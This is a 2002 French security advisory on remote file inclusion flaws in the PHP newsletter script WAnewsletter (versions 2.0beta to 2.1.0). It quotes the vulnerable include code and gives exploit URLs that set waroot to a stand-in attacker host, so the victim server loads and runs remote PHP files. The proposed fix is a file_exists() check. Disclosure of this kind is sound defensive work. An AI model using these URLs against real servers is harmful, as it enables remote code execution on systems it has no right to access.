WAnewsletter ************ Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.phpcodeur.net Versions : 2.0beta -> 2.1.0 Problème : - Inclusions de fichiers Developpement : °°°°°°°°°°°°°°° "WAnewsletter est un script de newsletter complet. Il vous permettra de maintenir un contact permanent avec vos abonnés.[...]" Il comprend : "[...]Gestion de plusieurs listes de diffusion, Choix du format pour chaque liste, Générateur de formulaire ou utilisation d'un formulaire fourni avec le script, Option d'email envoyé à un admin lors d'une nouvelle inscription personnalisé à chaque liste , Confirmation d'inscription par email (possibilité d'activer/désactiver cette option) pour chaque liste , Possibilité de sauvegarder une newsletter en cours de rédaction pour la reprendre plus tard, Gestion des retours d'erreur (email inconnu, etc...), [...]" Les problèmes d'inclusions commencent dans la version 2.0beta. Les versions précédentes, 1.1 et 1.0 ne semblent pas avoir ce type de faille. Dans la version 2.0 beta, comme dans celle d'après, la 2.0.0, on peut trouver dans newsletter.php les lignes suivantes : --------------------------------------------------------------- [...] if( $action ) { include_once($waroot . 'includes/config.inc.php'); include_once($waroot . 'includes/constantes.php'); include_once($waroot . 'includes/fonctions.inc.php'); include_once($waroot . 'includes/template.php'); include_once($waroot . 'includes/mailer.php'); [...] --------------------------------------------------------------- L'url http://[victim]/newsletter.php?action=1&waroot=http://[attacker]/ inclura donc les fichiers : http://[attacker]/includes/config.inc.php http://[attacker]/includes/constantes.php http://[attacker]/includes/fonctions.inc.php http://[attacker]/includes/template.php http://[attacker]/includes/mailer.php Dans la version 2.0.1, on retrouve la faille dans newsletter.php avec une ligne en plus : -------------------------------------------------- include_once($waroot . 'sql/db_type.php'); -------------------------------------------------- ce qui peut permettre d'inclure un nouveau fichier. Dans cette même version, une nouvelle faille apparaît dans le nouveau fichier sql/db_type.php. On peu y voir : ------------------------------------------------------------------------------------ switch($dbtype) { case 'mysql': include_once($waroot . 'sql/mysql.inc.php'); break; case 'mssql': include_once($waroot . 'sql/mssql.inc.php'); break; default: echo 'Le type de base de données n\'est pas défini !'; exit; break; } [...] ------------------------------------------------------------------------------------ L'url http://[victim]/sql/db_type.php?waroot=http://[attacker]/ inclura les fichiers : http://[attacker]/sql/mysql.inc.php http://[attacker]/sql/mssql.inc.php Dans le newsletter.php de la version 2.0.2, le fichier $waroot . 'includes/template.php' n'est plus inclut, mais $waroot . 'sql/db_type.php' et les autres le sont toujours. Dans cette version 2.0.2, ainsi que dans les versions 2.1 Beta, 2.1Beta2, et 2.1.0 (la dernière à cette date), les inclusions du fichier sql/db_type.php sont changées mais la faille y est toujours : ------------------------------------------------------------------------------- switch($dbtype) { case 'mysql': include_once($waroot . 'sql/mysql/mysql.inc.php'); break; case 'mssql': include_once($waroot . 'sql/mssql/mssql.inc.php'); break; default: echo 'Le type de base de données n\'est pas défini !'; exit; break; } [...] ------------------------------------------------------------------------------- Enfin, dans les version 2.1 beta 1, 2.1 beta 2 et 2.1.0, le fichier newsletter.php change à son tour tout en gardant aussi une faille : ---------------------------------------------------- if( !empty($HTTP_POST_VARS['action']) ) { $action = $HTTP_POST_VARS['action']; } else if( !empty($HTTP_GET_VARS['action']) ) { $action = $HTTP_GET_VARS['action']; } else { $action = ''; } if( $action != '' || defined('IN_WA_FORM') ) { $login = false; include_once($waroot . 'start.php'); } [...] ---------------------------------------------------- C'est donc encore une fois le fichier inclut qui change et rien d'autre. Solution : °°°°°°°°°° Pour chaque inclusion faire une vérification file_exists(). Par exemple pour le dernier newsletter.php : --------------------------------------------- if( $action != '' || defined('IN_WA_FORM') ) { $login = false; include_once($waroot . 'start.php'); } --------------------------------------------- devient : --------------------------------------------- if( $action != '' || defined('IN_WA_FORM') ) { $login = false; if (file_exists($waroot.'start.php')){ include_once($waroot . 'start.php'); } } --------------------------------------------- Des patchs sont disponible sur http://www.phpsecure.org. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@frog-man.org Website : http://www.frog-man.org, http://www.phpsecure.org Date : 17/12/02